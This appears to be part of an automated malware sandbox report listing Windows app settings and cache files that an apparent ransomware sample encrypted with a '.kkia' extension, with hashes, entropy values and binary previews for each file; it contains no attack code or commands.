Preview:	SQLit......<\|c.mu...n`..;..p@............!.f..}.t....QeK..b9.\|[x..M8.......#2h...D..XV.b...G.a....O.....)..d.Y.~-X>.....Fd.c..s.q..S_(..)n....H\|.y.g..BF=x......\|^.Y.q..~.....:......s.`.......>.......R.X.E.]..\|HB....c/...l.eG...R...v.>%.\|R..W..z..w.m....T.E6..Fb..o...!d.(.i.y.;.....=....1...WZ.Q.........4.....Q\|.\|c...74..%2...p./..tbG:.....b.#1..Z)U..s..h........r.+.J.=S.T.obK!zO...eq.....9..7...O.K#.."...p.R...0...u.....&Tm.......V.k...:/.,m.jz4'..8$.#.*...{..G.M=......s.T...Z...4h1>..J^..g....P&lw.B. .f.....61.kz.y.....X....~?..9.....84....u.y.J...j......rh..S.....0..........>.)....~TbFK1f+..V.ZP!..R..E...F...${.az..(..hH....s..3X.>.N.(+...5.;..R...!X....M..'!..y....?M.rn...B X..4...ja...>.3.D....pC......Y.......XE...\|.!y...3dM.r..7.xF.[?...k5xG_.=A9J.8...k..o."......0}.?.I..2NI.)..q...v..1.Ho...o..g.Q.=.!.....=.?.2..M.?5n.cX.'..)~.....A.a..1..X+C..8...B7..H.T..;.].9..1.uk0...%......y.KN.9......x....G....!i.`4~......l#..E.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997146659726851
Encrypted:	true
SSDEEP:	1536:yi7IxZ99k+3xNE6Pjl3jaPQj9eNV64mAYDAmEoLNa/zgpcJeE:yR99REgl3j3jytoEaNaMa
MD5:	A7BF7E13F027537A41FF9D2A4E860ADA
SHA1:	2F384479D1731D20C154BF8955974C15A2BB49D7
SHA-256:	1D55FA4DBFA325E6D3115D0528BAD370F84A2FC5DD74179ED2F29DF433DC7B9A
SHA-512:	622468EBBFFDD6671E1C4B97C1B95864214BC7CFEC216D0B7615CD4023584ECE7E5878659481FED964D7271CDF764C11BC86509BFFA15B00F33D64E2AC7171CC
Malicious:	true
Preview:	.....%.G.c._7....e..F\|.J..E....rF0.......%.\X...7..^W.......8..........4...#..qc8..{....~.t.f...8a.G.E..$...m .n.W.0`w..J....Ok....E..@:t......_ .....Q.g2J.2TO.Y:?...$.....:.......n....5......G"..:.n...r....P$M........k.O..}.u.H1c...=.......ZB.....]~..b.".J..WH..K![.......s.5.U.73>...3(.v0.=9.Y~O;..IF>~.v..G+...k.f..jD....8....".r.-.4.V....0E.%...7.2}...M..j.v..!.....b.p........!......K..=P...b..,..{[J..1.h.f.N.s.L.k..gZ....A#.....!.`wU..+....68.. .....A.k....=.......A;.u..u..m....s~......rU ?..}~Sy....Y.0:?...'.f........cE. x.h.x........J...3\|...s^...1..F....PDQ.z.%..!R.Z.Q.....L.#.sW....=.....\|.-./#...?...+B......S_U..w]..\..b..F.8.T....8.......K.. ?$q....'... ...;.3.-..s?...\9..4...R.P?....;..X?.a}..7.4q.8..\\.3...$..r/...be...q.\f38.hUT..L.?.....XyHoB..Q.[.n9+t<.5t.<.$..Y..b.@.Z.b....l.g;....oJ.>....1......>G:5g..G.......C......9z..W=s:.........Q..7....... ...}..gDs.......n..p....1?.H;}vW.W-7..;y........&..-.Wx..D ..E..`.......q..WJPF

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977831022866984
Encrypted:	false
SSDEEP:	192:xk3H8miAuT2vItfdxBL+7B+eqmvh/xtLjzO6So56P605Y:xycmr9UxBL2hZtlVkP4
MD5:	E30D48CD6372983C16CE94EEB0ABA9A2
SHA1:	E2F0E00DD26DE88B18669FE1936C607D8A12CFB5
SHA-256:	0FC51707DFE821F395BD6756C62010A52E124951ACBD03A09ED33B636FC9F048
SHA-512:	B9D233C0E7678BB26993FA4C00FC38360AB752F061F4F26179072C52806AAE04C7BAEE2882F851E9D1B4AF2EB7481FEB30D5DDCBE6F6636235F5A3D38AB61C54
Malicious:	false
Preview:	regf.....f+...Ez...C.a....y.......I..}L>S'v..._=..K ..8.`.....F....^..ei.C.S.5.'..{.'..m......N.".....{....Xt1.r.-b.>.gOw.S}.._.7.{R'3.GC.$...C..d+.-.0y..qk&...T..A....!NR.2._/3........es...x...X..G.Rf.C..>C&oKD.C....}.e.Vj."........Ux;...G.2.gg[.....Z.J.......A.<...B....{.....f..;..0=..\.....]W...?...+...).2..q.!..P`#.Ov\|........P9WG.E.?..1.4b.b'./..a>\|6.9w..@.X...^'B#...!.,...y....%=.W......2...(,Q.a..w..../&.l].\|$....$..w,'._T....d......)...W...8..l....x....n}..cUB.Q&...!n........ad..}._(.....t.......XS.lJ..y. A?..s"h...z-........jt.M.Y.Yx0/..........0F$g..R...>..lq...........p.......l<`.....44.......Y.7(...(.i....[p.....\|Q..!.XK.F.:\|....K...`.$...P..V{...Z..>.....4.Z.$.r...p..5...i..(i.!.?P.^......z.r...G.#8.=F....o.2...:.o.V....RL\|.U......%....INU.c..i>...3...m].T.....`.Z.p.7w67==(..5....[.v...pV.+...........\|..}.....I.T....`....A..v...:[.q..Gen.....Hm..w..\|.c..?..LuS..k9:O..>N\...9...:.. ..].....}H.........wqZ>.c.-.hxO.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976895168444349
Encrypted:	false
SSDEEP:	192:WonS88wRGeCkAsKPjbYyZFTOAnLx+lOgF9LbB48d5iX90:WonNkriSYUFTOkLxNoBW90
MD5:	371899D1A397577AC7D0310C5F5A34D9
SHA1:	56B6E54DBDE8B97E29EB4E527E17C1B1395F138F
SHA-256:	A62CDFACB10D416A9911B07FC80FD321929847FE813DD89BB108C971FE34FF9F
SHA-512:	3600FACD5CBBB9D1A65142E6032658E3B006923145796508E77C373E4FD565E19A168E2CFF7040A47F875ACD2F8752CC8F7F590BC42AC940CD47862A643125F6
Malicious:	false
Preview:	regf..2.~..RR...X.$Q~g......./7..j.Lt\...T=.S..z+]G.K..00.Z..2....`z...-..........2... .G... ....n.6 BH.......c$1T..ym....NX....J...L2....A..L/..X..V.y$.%...]..;m.4.(...[9....-...l#:?....@......i1....@.2.[:.r...cYq;p...T.r.n.$[H7.?.mC.p...X..0.....M.?....V+.zo..H....G....$..C.b.D$s.S.Bp..u.S...{.{&J/...l.a.N..^lRG...C....~...R...3.gG;pj...d...%...~..1..).U&.~.3...X........8..LH.!O......n.w'k..5....)1(.u..t....i..G..K.....oF...R{.o....&..r.......U7.e.._.....k....r..l..R=..R.R.K.!<Ub.y.B.Y..n...'.Fa....;.......O..n.. ...(...af2.P..((...65........?...t.B]..?........"RU.......p)4...H.<.....,5.&...e.w$;.M({.b{...3.V.`.y..T....$m......+.#....k...'C.R...YX.....(.ZX.<.......&......(..M..9+.L.L...3FN-"...#.y\|.2...&....:..^.=...........hy....$.MI.H...2..mHX.........aV.......n.....];.$.$=YR{Z/Y].Ov.%(....(...:.nPlZ.q.6.S..-;.....$z..G,.$.[..O...F.v.].t.Y...(..fg.;.EV...5...Fcm..i..AN.......<.8zg.P3...y..M....Oj5...\..~.n..,.C.J.\|.....0.c.....

C:\Users\user\Local Settings\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976161312010913
Encrypted:	false
SSDEEP:	192:+jHQ3f90OzI4IdNoHV5Dz7bYISm5tXhSRBOt:6HqiP4iN8tHbYISm5t4RBU
MD5:	C1FE37D1B259256D8470F4273536EDBA
SHA1:	2CCC09951CA9314E6FEACBFFAC899CDAFBD09C70
SHA-256:	89CE8C614274DDB5AD6DB2EDF28699C91FF063F909D0426C79E1CAD211D29780
SHA-512:	A9D7F6BF452FAE35D0ABC148F84E398C781EC2B37F13541A12079244280EB05184F3349C81AFAC8EC9F1E50BC475C4230506C4CD1A56F14EEA474F3117114D09
Malicious:	false
Preview:	regf....P ..$..Q..{b...T....w..gT...U7.e.w..v.B3.........x#...@..]$.P.`.-..z.WtSV.G.<..........0^J.@.........+.b......>.Xn.s.....fR(..Dn.?.#.O_...eA....c......].z..qg..#h..4...X@..<.!88........q.....\|...Ej.S.T[./......J~.5...........@..../..v. ..6.x.-..I...OP.W..&.....Q.1..l..a...M7.]...j........~.l.....Wt..@...h...l8.J.5,...0..+..1.t..x.........w.j.f<R.......^nc.^....c....~..{._o.C@.....3...0..~...'..Dj...........N[.O)....8wwvfU..>h.6.4e.m.%H...L.5...w..c...6Z..m........nu......1S#.y.X$.?..T...=F..?....z...t....].Jm.X......lU/l..vX.\.....Sj.@...;U.E..IV.W.!..v...Z..$.-...%H.59H..!.'.q.;.k...N..I....h}..[.c..hJ........ku..v*"...5O.....d..~...=...Y3.L.8.._.f....U..p.j...%......U..;Zy>.h..{T.. ...f.b;.>....y........L...'d...$.LJ.G...H.mZ..$".>.l.w....w..!...&f..hP...7...G..."^4.,<.._.gr.....5....k-...%...(..R.....q...=B.._.5..+.....v.(n..[`..T.2.i....[`.....r.X#....8..C.......\|\v.7 ..5.....{......A.I.=+..1g..1.A...f.4.sX..L3...S3..1..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	38786
Entropy (8bit):	7.995844700175372
Encrypted:	true
SSDEEP:	768:WE0gpi5khDZ3ITl/FXLHrdPxzyKh41FXg8ULdHddmMZom1APR22P:WE0gAKdlO995OKhmeLd9vcl
MD5:	CEC419B2AC9A8AF34049A2734539A94F
SHA1:	9D89F54909E8B08F50F4F7595DAFF15D78660B32
SHA-256:	5F62B2F8CF71092771078F01C2D3EE8EB3313C6DC4BDE9B49AEBA0D32917F880
SHA-512:	6083A70C8F2EA56297DFD543FE06FD7CB23EABC10123504252E07266DA5827DA01A15B56CEB1424A9CAEA7A5C0B51B7F6DE3605C2ACE6D332F47791023384993
Malicious:	true
Preview:	j...U~._...:~TD..}...$..J....x..IL$....g...P.uW.5.\.bZ.n...&v.{.Q..,.y.t..d.3...W....T.[..._l<..0.=.y.`...}.....({L6.IT...~~cw.e.{e...s.`%.F._.....}.zjKJ..vH. ....q.....>.........I.....M.....O.h.w...i...mD....g.W...@.....i}t.......}s.Y..>.c..#..d}.2..:.HR.Cn.......+...0..6...9..u...E........i....s....Y6...wdr.6&.P..k..8.j..p.dl@..?\|f....~OQ./....QA.@.I.:.3........'fy"....5B......"..P.~...t......~..G.....=(...../...9!}...^...S.m..h..l..Dje..&...W^m..........@.`..b.....[...X.t....H?.w....}....\|..!a.....=..i..E...>..k.3....<W.B..%. J..l....._7.2..Y'M...........me......~.....p....h..0.._A@-EJ.....JZV...]0....z.....w.....qI..8.....o.w..Q-.\|..........B.\|C..KE0.,a`h..O.).AA..oY..X..R.."u$..\|....A7.../...u............+.d.G7.....\|..Rk._.&..S...Y..v.<~9...`..TQ....]i/j]LB<..k.._9.Z.cP...x.aU.w.5.84.oV.e.*`.].l...'.....?...i.#a........<...b..g..$..H..............9..iS...[......h....S'.VY]a2Qb.[.LW\|..+.....!./.O...Z.....b..d7.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979348478350823
Encrypted:	false
SSDEEP:	192:AGqkru8Z1okn5buX28OUI1RqHfVDpuW6jC/NVXS1oew:AGNru8DnlumxU4AtDs9jANVXSWew
MD5:	E7E68EE50C9E80C03E9E20CB8322F949
SHA1:	77CC78A23C01A74B54A2EE5EB0A9907EFBC316F4
SHA-256:	BCD03983225B0B7837FCB33431CC6B7C893DB2D11433E395D569C1F7E109783F
SHA-512:	C4C6DE8C7C668B974A4C46A626C0E692B4D0B5307A49D09B0729058A41BAC49971A65E4DFB7E5C4660AF5E66B38A539B677965C5F8140C36499B8849E9C7CB15
Malicious:	false
Preview:	regf.."z?S^........$2$.._"...B.....r...E..A.VI=58.s.us.3'7..W.(...g...-..]........c.[u.V.G..JD..8e...\|.5zF..[.R!O).$.....+....X. .j....(.(T...."..Z.7..T.IR.+..8'.\...q..k.v.....lt..H.R5l.......n....zj&......L.es.......:.=F..V...ecj.[...r)........\|G..4..?.Pbg.@sW..v4WG......(K8..$.. "\|G....Cx..r%...../.h.....`...h.o{.lqL....zp..R..Oy........ED....e..r..{P.....o.0...G...[k....{...}e...6W...?.C...R@0.L..@S.K...D}.....-......Lv..G...X....q...#..............06 U@$...v.....H...\|z.M...J2..!.fF..C.....9..{.@..n\....x.C.H9j.izV.cf.pF.cdfR..K>.k..Q..5...M.LQ$TN.=....Y;....x...5.....XCQ...[G.z.F1B...]....Q....v..@...A'..s...q....`@LK.<l.o.k..O.. .2.#8......{J..:..sp.b\.?U^..A..?_l......2.!_.\|.b...~6..&x.~.e.l.`...L.q..Gl.T.~k........[....^.....(...'...uh.V..l^.g...L.T.......&.8SE..F..6...Nj$.(....U....o8.y=.....F...Z.fl..1.KTP.z........j{T..m_..p....u..~s.v.4.s..%.. E.. ...ntQ.c,...YQ.>......v..0d@......-..fT..1...I.5........Ka$..c....u(.oK...5!eL..2..

C:\Users\user\Local Settings\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981886892009931
Encrypted:	false
SSDEEP:	192:dtj0GhMDEnd+6KtJ2aeHev+62Fv8ofsBWq7ZQtNP2gt:70Gpnd+jjeHu+6Q0wsB7QPl
MD5:	AB1F63095C99BB5805C1B21CEF6B0956
SHA1:	ABA5BAC0D83C2639657D09E3245B972B27C9A54D
SHA-256:	BBF55B86F63F91F72A30C38EBF80BFE22FDCC96078C5E5A850F52C466D9B7076
SHA-512:	3472573DBDB0120870B1EB8E645AF37E9F6FDD2DA3E8866D6561E0C481BB383B713748C3D9B6B79F970B5934409FFC6983FC7002C94F547548EF950FAF432574
Malicious:	false
Preview:	regf.P....-.9..SvR...P.E..A.AL.P~.eM(....... ..sL.%I...U.\|..3#;...h........!..#).A....=1..$.qd...L.A..5.....H....Oz&.B.9.C..........S.p..9o....1ls<_n4....>.[....p..a.......D}.j...o...m.qy.v...p..fM2..q.l.wJ_DL..4..... ...!.^._.i..z.%..e..U?......r<.#...@7.....k..4.c./...A.4Ld....d...\|fR...m..o..M..K7....ECo.\.8.W...[-g.U.u...hd.}.=.p=f....<...8..us:>b.t.?...OPR.....A.Mr.?...\.I..fw!.W.a.h4..so.F.l.E...?...+E..``...Q/Qy.....x....6.G...BF....7..y..#.....g_..[.B....2}...K.......B.g.YAg. .Q7........4u.m.t.....y...2K.RZ.;..v.....h.....z....d...d..S...:...E}6.-...,..\U..I.E8.i.sE....?H.m..?.9...B..wJ.s....b.8.1........q.C........b.+.Ed..BWU.#..#<F.../d...........Ur.y.4..o[....~.#2.....}..R.Flq..qwX-..u.%...D.4....o..K....#].^...G...:....X..m.:......>..WL.u...{T\|...F.~...4[...loo.>{t~VS.]t......3.z/..Q"..:ye.....~.9c.AjM..~..L.}.....K9aDha.6....-5.....4.7......,.jF.QD......?}.Tj:.8.#.a..V'..\|.d.X...z..t.^[. 8iR.B..q81YE....>?EE.KKE._.,(...

C:\Users\user\Local Settings\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	44550
Entropy (8bit):	7.995714063675533
Encrypted:	true
SSDEEP:	768:LKKCP3oXKJXnl1PnSEIon601aV9u6z/FKwTuSAGZ2c3UOJwNWYqYqv8l1jfOQtx:LZ03UKJVd4o6Gaym//nAA2ryYqv8lNf1
MD5:	E5B893FECE47BAAD3684F5458D4061CE
SHA1:	624E86A5107CAB36C3CF4091959DBC44C9BF6C34
SHA-256:	D5F3D3F3DD04F4D4BEF91BF50CA16C5405DE65CC207EB52DF38F518DB886A25C
SHA-512:	1F01E6A897BF1111AF31D2C8881764C8EA31E7A21351F5323185EEECB35545DABD230B56D97F170799BC05011CF9372E0251A67BF469F5BD821CE2E11FF735E1
Malicious:	true
Preview:	.6.1A..z?.Z...).A'>........Vd...V@n.n.{[..x..a-.Q&0.....b..m...Du.....C...a=\|7l.1.Zi....'l.r>..!....4w......M?CV<[.fg.._\|. ..).Pg..[G..H1F.K6~.......t.c.L....Cf....r......P..<.....4.I...f:\g..J!......!.6`..1X2..?.$......y'...(+jH'..@hP..32l..!U,S..'.xC...o.oTo....{\..F:....x..M...-.'..]x.9j...'.jw,.!.0...t'}..!....`..8v.;.I..}//.J-..[n....ha]..a....LX.W....%EJ.:......xu5z&...S..`J.`...........zHw...y..X.,.1...@....F.../.^8M..1...=..W7....t?.D.="\?....~.U........+E....n.}...>j....;z......rL.}.ZXLX..S..(p..O..}.2..2.....\....)z..\OZ\(..C.,..d...R.v&(`.IO....D.5..{...w!.%........s.W.x....).[...wy.y8.{.-H?.r=.'{.v..L:.8....)peQ..........Vt...."..DZ.....KBi...6.e..C..udQ....RXUJ..#_.....J^f...:.....Y.Cw.Vr./....;..).8R.....QO.O...I'..Nz...{A:..~......f....w....y...!.R......".I~....XE7..gF."..`6s..RCl.<L..C.l.&...e......%.v...FX..L.G..$.va.....7...[.Y.EP8^.....%U@A.."..k....i)..Gu..D....Jv`..9..>.h9.\|...2.9.}..;.S.(....F\|..X.@4N^.O........y@.[.

C:\Users\user\Local Settings\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978702105292524
Encrypted:	false
SSDEEP:	192:vsDOFTHffjqH6OJM6fcR+6aXwxKSQhy4Nn8oGZpMx0w038a8zf77NRL:DTHf7qaOq6UR+6agQhyPPQa8zfNd
MD5:	55735B96D747D0A4B95248D7E2BCA31C
SHA1:	4614919567DD56E5FE415D502CB59B549E4671AA
SHA-256:	15B28C65A8E84B4238A4BF5F631B42595E91FDA4F8BB4EBC31C1443629772B56
SHA-512:	2FF28727247138CBFDDD77375B44691A79C92A672D18309BD2FBF97F29EDD6F019D7D8FDB16760387073C41B8CD7E0E3AC8C385BCD51CAD6C5BFC0D7708F1E94
Malicious:	false
Preview:	regf..x....p.H.wN..k?ji.C..'.i...$...&h..,....B..:6....f.-ln._<,.....R...~.n)[...y}.b9..Z....l..!.U......q0%.v.0...qQ......C...).....l0...G....p....\|...r^T$.)N..X.... >j.b~...9........U%HciZe....H.C...jW}8..}...Z.X..q..t.......U-.....:...vy(j).W.&...1L.C.2...y.Hu8I.....%.n.. ..q.".K`.J'u...@...n.ay..l.x]..r'vJ...#.".r&....H..2.e...].65.%.P>....Q.S....z1n.z.R1!Y%.8..tr.or..j.)...`..`.. .5.E\|.....RH.P@uUi..........X.i.bb..<.x\.....i.=iTs....s...u.........a......]L#j..q...[..Sa......=.^R.p..v.".q..6;.E5...@....#."....X..Iv`....y..'.........i.%_Lpu.)..u....?...Jbg ...\|.@.l.W.W....I8...X;..M....O[E".o..7.P.%..*..R.....l8......6....t............. c.C.6..QGWt..0 +..j.....`..#K...XO9i\E.~...2I...V.1I..3..1.....D?c..."K.......n.=9{T].Bh.'2E..XT,.f......>..mY.......i..#9.F.Kl.z.......V...;S.D..v.........PO..!\|.u.c./N..OZ........,...=9v..R(..5(......`.XG..1...T.,......_".+^.JN.3.S.\..bG......C....Q.9,....q.t}2...if.v.....F....%6.....?z..n....J.%,.V..z...r

C:\Users\user\Local Settings\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976530641272375
Encrypted:	false
SSDEEP:	192:gmlnmPZlRrgcII1NHZ3szpXFzdm2cPjkyxFjNgwZ5N:Rlnof5TIwNszlxdm2cPYyxF6En
MD5:	F05E1EC838AC038630181546E9F084E3
SHA1:	81ADABFF4F0E3A0E53240B6CCD6053E79E4DA83E
SHA-256:	886731753E33F746EBDFF600678A0BBE0481F490F4EF5D278AD2B86C3BC261F3
SHA-512:	D8701B3046C3C241A99A2FC74BEE144AD4FDFCA594A3FB3F2F758F70FDFBBE4EB9160B69E918BB603B30E342579DB1B16ADAA7A3507B6EF3332589689D17B90B
Malicious:	false
Preview:	regf..p.)..V.`sd.......Y.u......R..1..r.HL..v...g}...s.BS...x?(..~.....`n(...g.\..._'z......r<..+.&...G..+./.!.5Z..(P.-....F.#.$D._.Wr.[({j.9...g@<..kb.Kg..A..=....>O3Q....-M._.....:e.N...o...o...L.j......w....>z5u7...C....\|o.E"...E....w......k ....y....{....f...o..0.....U.>$...._...v v...Q(Q .v)z..o..H.....3.....)S.f.6..G..%....cL...,cn..%.m...,.......r6fP.._...3Y..,/7..T....0I&p.V.O}e..;.d.e...T..m.Ye....e-b......?L.\|.IZ..\|S...]...`z.gE0..n..k..i....V._...x....s.z..f...D..j...,./8>[..O.....tI..7p.l.,[.&....P.i...L9A.....x...."x.9......\|.Ey@I.........x.>...$D..QV_...v....N ..7M..yg!4...70+$Xe;d.0..+.\|.....7.."..X......u`.9O.o..7......me.Y.(Ao.\|..+)...j6)Q:.nU..f...K.R..<...xA...xX.E...!....H.C..[..1.L..)....{...>.f..?a2u!..r....cS.m.g..@.+.e....9...;....g..I(.T.f.Q..I......dR.nuN..J0.\.4.TrT..C.6...9...a8..h.$.s...6kk=..p9.'.W..4."...a...!.]X.g.V@._.B.Z9..N.......s... ...b..,...Q.f.......{..=i.....+..zG.6........x..{H...^..b.

C:\Users\user\Local Settings\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979492351499663
Encrypted:	false
SSDEEP:	192:jUfYRhHBa7MnSUq6uR8lpIhyebwHCK8/ld/OCM:vh6MnSn6o8l0yex/lk3
MD5:	7B5DD37524ECF2BF65FDB6FA4490BF33
SHA1:	0D6224A9D5801E93AE3079C4E7C73C2D54210A78
SHA-256:	FF9377C319B717997960C1CFAA02FB65EEA784985E79C88F3EF224E1CD53BFD5
SHA-512:	A99054D36C46CB7B6984F18992C00C8E9B8D292A34850BFD249BBCD15B2B75F6D0285FB235EE0698745DCA4E4815CCAA8BB93D609BD62048DA1076152A6AD619
Malicious:	false
Preview:	regf...p.m)W...@I.%H.j........tCL~]8g..R;..]..{C...............,4.]..Da...`..].3..X..H.+V..iyve.V......o....3y^.K.E...`g..x5RB.y...#...H?..5.\...Xa.'....9..3...Rn..`....V..-..PW............h.p...M../^...K.%..]....5v.0..vm..... ..E.C."'.lv..f.....e.G..l...!<..NX..8.x.....9.9........,+...0.d..QE.......)..1.N......cm.R.).'pY.V..>....@%<j....gt..U...%k.e.n2.....N...,o...h..ot.\|GUS?i].!......m..\|..:..x].9..a.$C.:.$m.iK...........M..O......?..m..G...&".T'..^.\>..N.@...H..)....P/.2.H.......}&8.u..<.M.s%"...V.7.H"yw..6..'&.;N:]5j......OG..}^V..}.M.`.Eb..`..p..\.O.rK....4<..{.Z...?...v....S....eL.gb..O...{..P. .8..eh....d..,.2).Z=HO..m^.'........e...zq..(.&?.n..m.../8.._...T.<...{...u......4....M..+.H...r....8.\| .X..:.N...\5....(..t.98*....lwB<Y6..uY..\|..'#....v...w3bP..7...2~....$1#.......H..+.j_.BK..}'....;b.........v.h...4..D...w.......ia...i.u.F..D.3...Bj..KA....T.\..._..\..). ....C....g1.....Xi.:.$..J.p[@..>.{=...:V.....l..&...

C:\Users\user\Local Settings\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978105706008211
Encrypted:	false
SSDEEP:	192:pJnykBrwdIEv3v5tIPW9mhVfa98NLSrhLGDf+zomovwb:pJrBwdIEv3RF6a2ZStLG8mC
MD5:	877CE90CD51F3E2F1C1CD0410E37E878
SHA1:	5B8EEDAD4F5289B3452AD88973DA192F5CF4A969
SHA-256:	6B729F0B170B01FA66F88D6B6CD275157A29FC79E158D03097DC552A958C0344
SHA-512:	9F41DCA94BC29A652C1AEC3626639C1850CF54CAD1D06A5A219CC00B6C5F00213683FCCB0DD15CA9A0388E9CF7C90DC3ED5C1FA8298D07288408A0119F5CF664
Malicious:	false
Preview:	regf.:.........6.gb.W....?.`eY...Yj........2.1.E.A.../....rv....3...Y..M....%....:oW..U.d.d.~....}.VrO.O.M..........`..K.......6..w...R.90^$.....j..YW.&.YA^..Nt...w$..Q..."..K.Gc..0.(U&.;...h.wc..F.5.....r..C....t.../.....I..h.7.....a..>~fr...0....B:_.W?..H.-0...wz...".?.W.E.\|......5....2...['..>Q...g...v.q....'E..4.q..zS.!.k.flG:.\.......D<$.r.c....Fx.8...r5~uA...D_mD...1..v..\9W.YOD..RE.n...NQ.L..S..%.....m...yq.b.../a.....K...^./.............s..QKyT($........bh.i.1.Y...XP).HB>.&..F.u4y........Q3.#.(...iv.[.?u?zv..Do]..4....F.......t..b.c#zf8....q!.j....\|.?_..v......$.I)a...ic.tP.1.;......'..T..)[...F.62......K.\..fv....{.;h..w#......H.,>^G92....7..Q.j.N..{...cbe.F{f..B;A->...vlh..?\.)...2.=...`./.0...>Vyx=X...6.D.]..K.W..e.J.3.......N..<.{..};...'B.=_...,.yR.^.@j.'......y..a%.t.CAsa.sQL[jp0.j.y%"B.2L.P...-.....}..6.V...w..Y...GW.Mi...?;.w......64...ow.=o~g.<t&u.M.+.t..%Jb.7.^...a.K.iD(...C{..J..IX.2....@D..Sxa@....G.OZ.nE".L.a.p3..i

C:\Users\user\Local Settings\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980180508876192
Encrypted:	false
SSDEEP:	192:OHOFP2oYgmxS1vKkan1QNpYXfhi4ie/jUbz:OoC3Ale1oY5Ke/U
MD5:	21F849BDB6D65B0A9FB367945F380826
SHA1:	1F97F9CCC6868F68614625FA4426AD9BED94ADBF
SHA-256:	6D4AF16601A3D7312DEE5534CAF8AC1DC25DB0DFD28399F85E2CD564A2811594
SHA-512:	EB14C36C5E39F3F7AA17DD84698D65BD8270EDAB7C9CFB28457C9139B9ADB01438939AE1FC62C9A784F4BCC77174FE8DE5CFEC9396AA89C735680D9738AC898C
Malicious:	false
